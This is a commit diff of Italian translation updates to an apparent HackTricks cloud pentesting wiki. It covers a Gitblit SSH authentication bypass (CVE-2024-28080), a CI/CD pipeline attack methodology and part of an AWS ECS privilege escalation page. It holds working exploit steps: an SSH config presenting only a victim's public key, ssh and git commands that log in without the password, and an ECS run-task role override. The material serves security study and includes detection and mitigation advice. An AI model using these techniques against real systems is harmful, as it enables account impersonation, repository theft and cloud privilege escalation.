mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-04 16:57:26 -08:00
Translated ['', 'src/pentesting-ci-cd/gitblit-security/README.md', 'src/
This commit is contained in:
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Che cos'è Gitblit
|
||||
## Cos'è Gitblit
|
||||
|
||||
Gitblit è un server Git self‑hosted scritto in Java. Può essere eseguito come JAR standalone o in servlet containers e include un servizio SSH incorporato (Apache MINA SSHD) per Git over SSH.
|
||||
Gitblit è un server Git self-hosted scritto in Java. Può essere eseguito come standalone JAR o in servlet container e fornisce un servizio SSH incorporato (Apache MINA SSHD) per Git over SSH.
|
||||
|
||||
## Argomenti
|
||||
|
||||
|
||||
@@ -1,39 +1,39 @@
|
||||
# Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
|
||||
# Bypass di autenticazione SSH integrata in Gitblit (CVE-2024-28080)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Sommario
|
||||
|
||||
CVE-2024-28080 è un bypass di autenticazione nel servizio SSH embedded di Gitblit dovuto a una gestione incorretta dello stato di sessione nell'integrazione con Apache MINA SSHD. Se un account utente ha almeno una SSH public key registrata, un attaccante che conosce lo username e una delle public key dell'utente può autenticarsi senza la private key e senza la password.
|
||||
CVE-2024-28080 è un bypass di autenticazione nel servizio SSH integrato di Gitblit dovuto a una gestione errata dello stato della sessione durante l'integrazione con Apache MINA SSHD. Se un account utente ha almeno una chiave pubblica SSH registrata, un attacker che conosce lo username della vittima e una delle sue chiavi pubbliche può autenticarsi senza la chiave privata e senza la password.
|
||||
|
||||
- Affetti: Gitblit < 1.10.0 (osservato su 1.9.3)
|
||||
- Corretto: 1.10.0
|
||||
- Requisiti per l'exploit:
|
||||
- Git over SSH abilitato sull'istanza
|
||||
- L'account vittima ha almeno una SSH public key registrata in Gitblit
|
||||
- L'attaccante conosce lo username della vittima e una delle sue public key (spesso reperibile, es. https://github.com/<username>.keys)
|
||||
- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
|
||||
- Fixed: 1.10.0
|
||||
- Requirements to exploit:
|
||||
- Git over SSH enabled on the instance
|
||||
- Victim account has at least one SSH public key registered in Gitblit
|
||||
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
|
||||
|
||||
## Causa principale (state leaks between SSH methods)
|
||||
|
||||
Nel RFC 4252, la public‑key authentication procede in due fasi: il server prima verifica se una public key fornita è accettabile per uno username, e solo dopo un challenge/response con una signature autentica l'utente. In MINA SSHD, il PublickeyAuthenticator viene invocato due volte: al momento dell'accettazione della key (ancora senza signature) e più tardi dopo che il client ritorna la signature.
|
||||
Nell'RFC 4252, l'autenticazione con chiave pubblica procede in due fasi: il server verifica prima se una chiave pubblica fornita è accettabile per uno username, e solo dopo un challenge/response con una firma autentica procede all'autenticazione dell'utente. In MINA SSHD, il PublickeyAuthenticator viene invocato due volte: al momento dell'accettazione della chiave (ancora senza firma) e successivamente dopo che il client ritorna la firma.
|
||||
|
||||
Il PublickeyAuthenticator di Gitblit mutava il contesto di sessione nella prima chiamata pre‑signature legando lo UserModel autenticato alla sessione e restituendo true ("key acceptable"). Quando l'autenticazione successivamente ricadeva sulla password, il PasswordAuthenticator si è fidato di quello stato di sessione mutato e ha scavalcato la verifica, restituendo true senza validare la password. Di conseguenza, qualsiasi password (inclusa vuota) veniva accettata dopo una precedente "acceptance" della public‑key per lo stesso utente.
|
||||
Il PublickeyAuthenticator di Gitblit mutava il contesto della sessione nella prima chiamata pre‑firma legando lo UserModel autenticato alla sessione e restituendo true ("key acceptable"). Quando più tardi l'autenticazione ricadeva sulla password, il PasswordAuthenticator si fidava di quello stato di sessione mutato e terminava prematuramente, restituendo true senza validare la password. Di conseguenza, qualsiasi password (inclusa la vuota) veniva accettata dopo una precedente "accettazione" della chiave pubblica per lo stesso utente.
|
||||
|
||||
Flusso difettoso ad alto livello:
|
||||
|
||||
1) Client offre username + public key (ancora nessuna signature)
|
||||
2) Server riconosce la key come appartenente all'utente e associa prematuramente l'utente alla sessione, restituendo true ("acceptable")
|
||||
3) Il client non può firmare (nessuna private key), quindi l'autenticazione ricade sulla password
|
||||
4) L'autenticazione via password vede un utente già presente nella sessione e restituisce success senza condizioni
|
||||
1) Client offre username + chiave pubblica (ancora senza firma)
|
||||
2) Server riconosce la chiave come appartenente all'utente e collega prematuramente l'utente alla sessione, restituendo true ("acceptable")
|
||||
3) Client non può firmare (nessuna chiave privata), quindi l'autenticazione ricade sulla password
|
||||
4) L'autenticazione via password vede un utente già presente nella sessione e ritorna success senza ulteriori controlli
|
||||
|
||||
## Sfruttamento passo‑per‑passo
|
||||
## Sfruttamento passo-passo
|
||||
|
||||
- Raccogliere lo username della vittima e una delle sue public key:
|
||||
- GitHub espone le public key su https://github.com/<username>.keys
|
||||
- Raccogliere lo username della vittima e una delle sue chiavi pubbliche:
|
||||
- GitHub espone le chiavi pubbliche su https://github.com/<username>.keys
|
||||
- I server pubblici spesso espongono authorized_keys
|
||||
- Configurare OpenSSH per presentare solo la metà pubblica così la generazione della signature fallisce, forzando il fallback alla password mentre si innesca comunque il percorso di acceptance della public‑key sul server.
|
||||
- Configurare OpenSSH per presentare solo la metà pubblica in modo che la generazione della firma fallisca, forzando il fallback alla password pur attivando il percorso di accettazione della chiave pubblica sul server.
|
||||
|
||||
Example SSH client config (no private key available):
|
||||
Esempio di configurazione client SSH (nessuna chiave privata disponibile):
|
||||
```sshconfig
|
||||
# ~/.ssh/config
|
||||
Host gitblit-target
|
||||
@@ -44,58 +44,58 @@ PreferredAuthentications publickey,password
|
||||
IdentitiesOnly yes
|
||||
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
|
||||
```
|
||||
Connettiti e premi Invio al prompt della password (o digita qualsiasi stringa):
|
||||
Collegati e premi Invio al prompt della password (o digita qualsiasi stringa):
|
||||
```bash
|
||||
ssh gitblit-target
|
||||
# or Git over SSH
|
||||
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
|
||||
```
|
||||
Authentication succeeds because the earlier public‑key phase mutated the session to an authenticated user, and password auth incorrectly trusts that state.
|
||||
L'autenticazione ha successo perché la fase public‑key precedente ha mutato lo stato della sessione trattandola come un utente autenticato, e password auth si fida erroneamente di quello stato.
|
||||
|
||||
Nota: Se ControlMaster multiplexing è abilitato nella tua SSH config, i comandi Git successivi possono riutilizzare la connessione autenticata, aumentando l'impatto.
|
||||
Nota: Se ControlMaster multiplexing è abilitato nella tua configurazione SSH, comandi Git successivi possono riutilizzare la connessione autenticata, aumentando l'impatto.
|
||||
|
||||
## Impact
|
||||
## Impatto
|
||||
|
||||
- Impersonificazione completa di qualsiasi utente Gitblit con almeno una SSH public key registrata
|
||||
- Accesso in lettura/scrittura ai repository in base ai permessi della vittima (source exfiltration, push non autorizzati, rischi per la supply‑chain)
|
||||
- Impersonificazione completa di qualsiasi utente Gitblit che possieda almeno una SSH public key registrata
|
||||
- Accesso in lettura/scrittura ai repository secondo i permessi della vittima (source exfiltration, unauthorized pushes, supply‑chain risks)
|
||||
- Potenziale impatto amministrativo se si prende di mira un utente admin
|
||||
- Exploit puramente di rete; nessuna brute force o private key richiesta
|
||||
- Exploit puramente di rete; non è richiesto brute force né la private key
|
||||
|
||||
## Detection ideas
|
||||
## Idee per il rilevamento
|
||||
|
||||
- Esaminare i log SSH per sequenze in cui un tentativo publickey è seguito da una password authentication riuscita con una password vuota o molto corta
|
||||
- Cercare flussi: publickey method che offre materiale di chiave non supportato/non corrispondente seguito da un successo immediato di password per lo stesso username
|
||||
- Controllare i log SSH per sequenze in cui un tentativo publickey è seguito da una password authentication riuscita con una password vuota o molto corta
|
||||
- Cercare flussi: publickey method che offre materiale chiave non supportato/non corrispondente seguito da un successo immediato della password per lo stesso username
|
||||
|
||||
## Mitigations
|
||||
## Mitigazioni
|
||||
|
||||
- Upgrade to Gitblit v1.10.0+
|
||||
- Until upgraded:
|
||||
- Aggiornare a Gitblit v1.10.0+
|
||||
- Fino all'aggiornamento:
|
||||
- Disabilitare Git over SSH su Gitblit, oppure
|
||||
- Restringere l'accesso di rete al servizio SSH, e
|
||||
- Monitorare la presenza dei pattern sospetti descritti sopra
|
||||
- Ruotare le credenziali degli utenti interessati se si sospetta un compromesso
|
||||
- Monitorare per i pattern sospetti descritti sopra
|
||||
- Ruotare le credenziali degli utenti interessati se si sospetta compromissione
|
||||
|
||||
## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)
|
||||
## Generale: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)
|
||||
|
||||
Pattern: Se il public‑key authenticator di un server muta lo stato utente/sessione durante la fase pre‑signature "key acceptable" e altri authenticators (es., password) si fidano di quello stato, puoi bypassare l'autenticazione tramite:
|
||||
Pattern: Se il public‑key authenticator di un server muta lo stato utente/sessione durante la fase pre‑signature "key acceptable" e altri authenticators (es. password) si fidano di quello stato, è possibile bypassare l'autenticazione mediante:
|
||||
|
||||
- Presentare una public key legittima per l'utente target (nessuna private key)
|
||||
- Forzare il client a fallire la signing così il server ricade su password
|
||||
- Fornire qualsiasi password mentre il password authenticator si short‑circuits sul leaked state
|
||||
- Presentare una public key legittima per l'utente target (senza private key)
|
||||
- Forzare il client a fallire la firma in modo che il server ricorra alla password
|
||||
- Fornire qualsiasi password mentre il password authenticator short‑circuits sullo state‑leakage
|
||||
|
||||
Consigli pratici:
|
||||
|
||||
- Public key harvesting su larga scala: recuperare public keys da fonti comuni come https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
|
||||
- Forzare la signature failure (client‑side): impostare IdentityFile solo sul .pub, settare IdentitiesOnly yes, mantenere PreferredAuthentications per includere publickey poi password
|
||||
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
|
||||
- Forzare il fallimento della signature (client‑side): puntare IdentityFile solo al .pub, impostare IdentitiesOnly yes, mantenere PreferredAuthentications in modo da includere publickey poi password
|
||||
- MINA SSHD integration pitfalls:
|
||||
- PublickeyAuthenticator.authenticate(...) non deve allegare stato utente/sessione fino a quando il percorso di verifica post‑signature non conferma la signature
|
||||
- PasswordAuthenticator.authenticate(...) non deve inferire il successo da alcuno stato mutato durante un metodo di authentication precedente e incompleto
|
||||
- PublickeyAuthenticator.authenticate(...) non deve allegare lo stato utente/sessione fino a quando il percorso di verifica post‑signature non confermi la signature
|
||||
- PasswordAuthenticator.authenticate(...) non deve inferire successo da qualsiasi stato mutato durante un metodo di autenticazione precedente e incompleto
|
||||
|
||||
Related protocol/design notes and literature:
|
||||
Note e letteratura correlate su protocollo/progettazione:
|
||||
- SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
|
||||
- Historical discussions on early acceptance oracles and auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior
|
||||
- Discussioni storiche su early acceptance oracles e auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior
|
||||
|
||||
## References
|
||||
## Riferimenti
|
||||
|
||||
- [Gitblit CVE-2024-28080: SSH public‑key fallback to password authentication bypass (Silent Signal blog)](https://blog.silentsignal.eu/2025/06/14/gitblit-cve-CVE-2024-28080/)
|
||||
- [Gitblit v1.10.0 release notes](https://github.com/gitblit-org/gitblit/releases/tag/v1.10.0)
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Metodologia di Pentesting CI/CD
|
||||
# Metodologia Pentesting CI/CD
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS sta per **Version Control System**, questo sistema permette agli sviluppatori di **manage their source code**. Quello più comune è **git** e di solito troverai le aziende che lo usano su una delle seguenti **piattaforme**:
|
||||
VCS sta per **Sistema di Controllo delle Versioni**, questo sistema permette agli sviluppatori di **gestire il loro codice sorgente**. Quello più comune è **git** e solitamente troverai le aziende che lo utilizzano in una delle seguenti **piattaforme**:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
@@ -18,86 +18,86 @@ VCS sta per **Version Control System**, questo sistema permette agli sviluppator
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
CI/CD pipelines consentono agli sviluppatori di **automate the execution of code** per vari scopi, inclusi build, test e deployment delle applicazioni. Questi workflow automatici vengono **triggered by specific actions**, come push di codice, pull request o attività pianificate. Sono utili per snellire il processo dallo sviluppo alla produzione.
|
||||
Le CI/CD pipelines permettono agli sviluppatori di **automatizzare l'esecuzione del codice** per vari scopi, inclusi build, test e deploy delle applicazioni. Questi workflow automatizzati vengono **attivati da azioni specifiche**, come push di codice, pull request o task schedulati. Sono utili per snellire il processo dallo sviluppo alla produzione.
|
||||
|
||||
Tuttavia, questi sistemi devono essere **eseguiti da qualche parte** e di solito con **privileged credentials to deploy code or access sensitive information**.
|
||||
Tuttavia, questi sistemi devono essere **eseguiti da qualche parte** e di solito con **credenziali privilegiate per deployare codice o accedere a informazioni sensibili**.
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
|
||||
> [!NOTE]
|
||||
> Anche se alcune piattaforme VCS permettono di creare pipelines, in questa sezione analizzeremo solo attacchi potenziali al controllo del source code.
|
||||
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
|
||||
|
||||
Le piattaforme che contengono il source code del tuo progetto custodiscono informazioni sensibili e bisogna essere molto cauti con i permessi concessi all'interno di queste piattaforme. Ecco alcuni problemi comuni nelle piattaforme VCS che un attacker potrebbe abusare:
|
||||
Le piattaforme che contengono il codice sorgente del tuo progetto contengono informazioni sensibili e bisogna fare molta attenzione con i permessi concessi all'interno di queste piattaforme. Questi sono alcuni problemi comuni nelle piattaforme VCS che un attacker potrebbe sfruttare:
|
||||
|
||||
- **Leaks**: Se il tuo code contiene leaks nei commit e l'attacker può accedere al repo (perché è pubblico o perché ha accesso), potrebbe scoprire i leaks.
|
||||
- **Access**: Se un attacker riesce ad avere accesso a un account dentro la VCS platform potrebbe ottenere **più visibilità e permessi**.
|
||||
- **Leaks**: Se il tuo codice contiene leak nei commit e l'attacker può accedere al repo (perché è pubblico o perché ha accesso), potrebbe scoprire i leak.
|
||||
- **Access**: Se un attacker riesce ad **accedere a un account sulla piattaforma VCS** potrebbe ottenere **maggiore visibilità e permessi**.
|
||||
- **Register**: Alcune piattaforme permettono semplicemente a utenti esterni di creare un account.
|
||||
- **SSO**: Alcune piattaforme non consentono la registrazione locale, ma permettono a chiunque di entrare con un SSO valido (quindi un attacker potrebbe usare ad esempio il suo account github per accedere).
|
||||
- **SSO**: Alcune piattaforme non permettono la registrazione, ma consentono a chiunque di accedere con una SSO valida (quindi un attacker potrebbe usare ad esempio il suo account github per entrare).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... ci sono diversi tipi di token che un utente potrebbe rubare per accedere in qualche modo a un repo.
|
||||
- **Webhooks**: Le piattaforme VCS permettono di generare webhooks. Se non sono **protetti** con segreti non visibili un **attacker potrebbe abusarne**.
|
||||
- Se non è presente nessun segreto, l'attacker potrebbe abusare del webhook della piattaforma di terze parti
|
||||
- Se il segreto è nell'URL, succede la stessa cosa e l'attacker ha anche il segreto
|
||||
- **Code compromise:** Se un attore maligno ha qualche tipo di **write** access sui repo, potrebbe provare a **inject malicious code**. Per avere successo potrebbe essere necessario **bypassare branch protections**. Queste azioni possono essere effettuate con diversi obiettivi:
|
||||
- Compromettere il main branch per **compromise production**.
|
||||
- Compromettere il main (o altri branch) per **compromise developers machines** (dato che solitamente eseguono test, terraform o altre cose presenti nel repo sulle loro macchine).
|
||||
- **Compromise the pipeline** (vedi sezione successiva)
|
||||
- **Webhooks**: Le piattaforme VCS permettono di generare webhooks. Se non sono **protetti** con secret non visibili un **attacker potrebbe abusarne**.
|
||||
- Se non è presente nessun secret, l'attacker potrebbe abusare del webhook della piattaforma terza
|
||||
- Se il secret è nella URL, succede lo stesso e l'attacker avrà anche il secret
|
||||
- **Code compromise:** Se un attore malevolo ha in qualche modo **accesso in scrittura** ai repo, potrebbe provare a **iniettare codice malevolo**. Per avere successo potrebbe dover **bypassare le branch protections**. Queste azioni possono essere eseguite con diversi obiettivi:
|
||||
- Compromettere il main branch per **compromettere la produzione**.
|
||||
- Compromettere il main (o altri branch) per **compromettere le macchine degli sviluppatori** (dato che di solito eseguono test, terraform o altre cose dal repo sulle loro macchine).
|
||||
- **Compromettere la pipeline** (vedi sezione successiva)
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
|
||||
Il modo più comune per definire una pipeline è usando un **CI configuration file hosted in the repository** che la pipeline costruisce. Questo file descrive l'ordine dei job eseguiti, le condizioni che influenzano il flusso e le impostazioni dell'ambiente di build.\
|
||||
Questi file tipicamente hanno un nome e un formato coerente, per esempio — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), e i file YAML di GitHub Actions sotto .github/workflows. Quando viene triggerata, la pipeline job **pulls the code** dalla source selezionata (es. commit / branch), e **runs the commands specified in the CI configuration file** contro quel code.
|
||||
Il modo più comune per definire una pipeline è usando un **CI configuration file ospitato nel repository** che la pipeline costruisce. Questo file descrive l'ordine dei job eseguiti, le condizioni che influenzano il flusso e le impostazioni dell'ambiente di build.\
|
||||
Questi file tipicamente hanno un nome e un formato coerenti, per esempio — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), e i file YAML di GitHub Actions sotto .github/workflows. Quando viene triggerata, la pipeline job **pulls the code** dalla sorgente selezionata (es. commit / branch), e **esegue i comandi specificati nel CI configuration file** su quel codice.
|
||||
|
||||
Quindi l'obiettivo finale dell'attacker è in qualche modo **compromise those configuration files** o i **commands they execute**.
|
||||
Quindi l'obiettivo finale dell'attacker è in qualche modo **compromettere quei file di configurazione** o i **comandi che essi eseguono**.
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
The Poisoned Pipeline Execution (PPE) path sfrutta i permessi in un repository SCM per manipolare una CI pipeline ed eseguire comandi dannosi. Utenti con i permessi necessari possono modificare il CI configuration file o altri file usati dal job della pipeline per includere comandi malevoli. Questo "poisons" la CI pipeline, portando all'esecuzione di questi comandi malevoli.
|
||||
La Poisoned Pipeline Execution (PPE) sfrutta le autorizzazioni in un repository SCM per manipolare una pipeline CI ed eseguire comandi dannosi. Utenti con i permessi necessari possono modificare i CI configuration files o altri file usati dal job della pipeline per includere comandi malevoli. Questo "avvelena" la pipeline CI, portando all'esecuzione di tali comandi malevoli.
|
||||
|
||||
Perché un attore maligno abbia successo in un attacco PPE deve poter:
|
||||
Perché un attore malevolo abbia successo in un attacco PPE deve essere in grado di:
|
||||
|
||||
- Avere **write access to the VCS platform**, dato che di solito le pipeline vengono triggerate quando viene eseguito un push o una pull request. (Vedi la VCS pentesting methodology per un riassunto dei modi per ottenere accesso).
|
||||
- Nota che a volte una **external PR** conta come "write access".
|
||||
- Anche avendo permessi di write, deve assicurarsi di poter **modify the CI config file or other files the config is relying on**.
|
||||
- Per fare ciò potrebbe essere necessario **bypass branch protections**.
|
||||
- Avere **write access alla piattaforma VCS**, dato che di solito le pipeline sono triggerate quando viene eseguito un push o una pull request. (Vedi la VCS pentesting methodology per un riepilogo dei modi per ottenere accesso).
|
||||
- Nota che a volte una **PR esterna conta come "write access"**.
|
||||
- Anche se ha permessi di scrittura, deve essere sicuro di poter **modificare il CI config file o altri file su cui il config si basa**.
|
||||
- Per questo, potrebbe dover essere in grado di **bypassare le branch protections**.
|
||||
|
||||
Ci sono 3 varianti di PPE:
|
||||
|
||||
- **D-PPE**: Un attacco **Direct PPE** avviene quando l'attore **modifica il CI config** file che verrà eseguito.
|
||||
- **I-DDE**: Un attacco **Indirect PPE** avviene quando l'attore **modifica** un **file** su cui il CI config file che verrà eseguito **relies on** (come un make file o una terraform config).
|
||||
- **Public PPE or 3PE**: In alcuni casi le pipeline possono essere **triggered by users that doesn't have write access in the repo** (e che magari non fanno parte dell'org) perché possono inviare una PR.
|
||||
- **3PE Command Injection**: Di solito, le CI/CD pipelines impostano environment variables con **information about the PR**. Se quel valore può essere controllato da un attacker (ad esempio il title della PR) e viene **used** in un punto **dangerous** (come l'esecuzione di **sh commands**), un attacker potrebbe **inject commands in there**.
|
||||
- **D-PPE**: Un attacco **Direct PPE** si verifica quando l'attore **modifica il CI config** file che verrà eseguito.
|
||||
- **I-DDE**: Un attacco **Indirect PPE** avviene quando l'attore **modifica** un **file** su cui il CI config che verrà eseguito **fa affidamento** (come un make file o una config terraform).
|
||||
- **Public PPE or 3PE**: In alcuni casi le pipeline possono essere **triggerate da utenti che non hanno write access nel repo** (e che potrebbero neanche far parte dell'organizzazione) perché possono inviare una PR.
|
||||
- **3PE Command Injection**: Di solito, le pipeline CI/CD impostano **environment variables** con **informazioni sulla PR**. Se quel valore può essere controllato da un attacker (come il titolo della PR) ed è **usato** in un punto **pericoloso** (come l'esecuzione di comandi sh), un attacker potrebbe **iniettare comandi lì dentro**.
|
||||
|
||||
### Exploitation Benefits
|
||||
|
||||
Conoscendo le 3 varianti per poisonare una pipeline, vediamo cosa potrebbe ottenere un attacker dopo un exploitation di successo:
|
||||
Conoscendo le 3 varianti per avvelenare una pipeline, vediamo cosa un attacker potrebbe ottenere dopo una sfruttamento riuscito:
|
||||
|
||||
- **Secrets**: Come accennato prima, le pipeline richiedono **privileges** per i loro job (recuperare il code, buildarlo, deployarlo...) e questi privilegi sono di solito **granted in secrets**. Questi secrets sono generalmente accessibili tramite **env variables or files inside the system**. Pertanto un attacker cercherà sempre di esfiltrare quanti più secrets possibile.
|
||||
- A seconda della pipeline platform l'attacker **might need to specify the secrets in the config**. Questo significa che se l'attacker non può modificare la CI configuration pipeline (**I-PPE** per esempio), potrebbe **only exfiltrate the secrets that pipeline has**.
|
||||
- **Computation**: Il code viene eseguito da qualche parte; a seconda di dove viene eseguito un attacker potrebbe essere in grado di pivotare ulteriormente.
|
||||
- **On-Premises**: Se le pipeline vengono eseguite on premises, un attacker potrebbe trovarsi in una **internal network con accesso a più risorse**.
|
||||
- **Cloud**: L'attacker potrebbe accedere **ad altre macchine in cloud** ma anche **exfiltrate** IAM roles/service accounts **tokens** per ottenere **ulteriore accesso** dentro il cloud.
|
||||
- **Platforms machine**: A volte i job vengono eseguiti nelle **pipelines platform machines**, che di solito sono su cloud con **no more access**.
|
||||
- **Select it:** Talvolta la **pipelines platform** avrà configurato più macchine e se puoi **modify the CI configuration file** puoi **indicare dove vuoi che giri il codice malevolo**. In questa situazione, un attacker probabilmente eseguirà una reverse shell su ciascuna macchina possibile per provare a sfruttarla ulteriormente.
|
||||
- **Compromise production**: Se sei dentro la pipeline e la versione finale viene buildata e deployata da essa, potresti **compromise the code that is going to end running in production**.
|
||||
- **Secrets**: Come menzionato prima, le pipeline richiedono **privilegi** per i loro job (recuperare il codice, buildarlo, deployarlo...) e questi privilegi sono di solito **concessi come secrets**. Questi secrets sono spesso accessibili tramite **env variables o file dentro il sistema**. Perciò un attacker cercherà sempre di esfiltrare quanti più secrets possibile.
|
||||
- A seconda della piattaforma pipeline l'attacker **potrebbe dover specificare i secrets nella config**. Ciò significa che se l'attacker non può modificare la CI configuration pipeline (**I-PPE** per esempio), potrebbe **esfiltrare solo i secrets che quella pipeline possiede**.
|
||||
- **Computation**: Il codice viene eseguito da qualche parte; a seconda di dove viene eseguito un attacker potrebbe pivotare ulteriormente.
|
||||
- **On-Premises**: Se le pipeline sono eseguite on-premises, un attacker potrebbe finire in una **rete interna con accesso a più risorse**.
|
||||
- **Cloud**: L'attacker potrebbe accedere **ad altre macchine in cloud** ma anche potrebbe **esfiltrare** IAM roles/service accounts **tokens** da esso per ottenere **ulteriore accesso nel cloud**.
|
||||
- **Platforms machine**: A volte i job vengono eseguiti sulle **macchine della piattaforma pipeline**, che solitamente sono in cloud con **nessun accesso aggiuntivo**.
|
||||
- **Select it:** A volte la **pipelines platform avrà configurato diverse macchine** e se puoi **modificare il CI configuration file** puoi **indicare dove vuoi eseguire il codice malevolo**. In questa situazione, un attacker probabilmente eseguirà una reverse shell su ogni macchina possibile per provare a sfruttarla ulteriormente.
|
||||
- **Compromise production**: Se sei nella pipeline e la versione finale viene buildata e deployata da essa, potresti **compromettere il codice che finirà in esecuzione in produzione**.
|
||||
|
||||
## More relevant info
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) è uno strumento open-source per auditare la tua software supply chain stack in termini di compliance di sicurezza basato su un nuovo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit si concentra sull'intero processo SDLC, dove può rivelare rischi dal code time al deploy time.
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) è uno strumento open-source per auditare la tua software supply chain stack per la compliance di sicurezza basata su un nuovo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit si concentra sull'intero processo SDLC, dove può rivelare rischi dal code time fino al deploy time.
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
|
||||
Consulta questo articolo interessante sui top 10 CI/CD risks secondo Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
Dai un'occhiata a questo articolo interessante sui top 10 rischi CI/CD secondo Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
|
||||
- Per ogni piattaforma che puoi eseguire localmente troverai come lanciarla localmente così puoi configurarla come vuoi per fare i test
|
||||
- Per ogni piattaforma che puoi eseguire localmente troverai come lanciarla localmente così da poterla configurare come vuoi per testarla
|
||||
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** è uno static code analysis tool per infrastructure-as-code.
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** è uno strumento di static code analysis per infrastructure-as-code.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@ Maggiori **informazioni su ECS** in:
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
Un attaccante che abusa delle autorizzazioni `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` in ECS può **generare una nuova task definition** con un **container malevolo** che ruba le credenziali metadata e **eseguirla**.
|
||||
Un attaccante che sfrutta le permission `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` in ECS può **generare una nuova task definition** con un **container malevolo** che ruba le metadata credentials e **eseguirla**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -75,17 +75,17 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Impatto Potenziale:** Privesc diretto a un ruolo ECS diverso.
|
||||
**Potential Impact:** Privesc diretto verso un ruolo ECS differente.
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
Un attaccante che possiede i permessi `iam:PassRole` e `ecs:RunTask` può avviare un nuovo task ECS con valori modificati di **execution role**, **task role** e del **command** del container. Il comando CLI `ecs run-task` include il flag `--overrides` che permette di cambiare a runtime `executionRoleArn`, `taskRoleArn` e il `command` del container senza modificare la task definition.
|
||||
Un attacker che ha i permessi `iam:PassRole` e `ecs:RunTask` può avviare un nuovo ECS task con valori modificati di **execution role**, **task role** e **command** del container. Il comando CLI `ecs run-task` contiene il flag `--overrides` che permette di cambiare a runtime `executionRoleArn`, `taskRoleArn` e il `command` del container senza toccare la task definition.
|
||||
|
||||
I ruoli IAM specificati in `taskRoleArn` e `executionRoleArn` devono permettere di essere assunti da `ecs-tasks.amazonaws.com` nella loro trust policy.
|
||||
I ruoli IAM specificati per `taskRoleArn` e `executionRoleArn` devono consentire/essere autorizzati ad essere assunti da `ecs-tasks.amazonaws.com` nella loro trust policy.
|
||||
|
||||
Inoltre, l'attaccante necessita di conoscere:
|
||||
Inoltre, l'attacker deve conoscere:
|
||||
- ECS cluster name
|
||||
- VPC Subnet
|
||||
- Security group (Se non viene specificato alcun security group verrà utilizzato quello di default)
|
||||
- Security group (se non viene specificato verrà usato quello di default)
|
||||
- Task Definition Name and revision
|
||||
- Name of the Container
|
||||
```bash
|
||||
@@ -105,9 +105,9 @@ aws ecs run-task \
|
||||
]
|
||||
}'
|
||||
```
|
||||
Nello snippet di codice sopra un attaccante sovrascrive solo il valore `taskRoleArn`. Tuttavia, l'attaccante deve avere il permesso `iam:PassRole` sul `taskRoleArn` specificato nel comando e sul `executionRoleArn` specificato nella task definition affinché l'attacco possa avvenire.
|
||||
Nel frammento di codice sopra un attacker sovrascrive solo il valore di `taskRoleArn`. Tuttavia, l'attacker deve avere il permesso `iam:PassRole` sul `taskRoleArn` specificato nel comando e sul `executionRoleArn` specificato nella task definition affinché l'attacco possa avvenire.
|
||||
|
||||
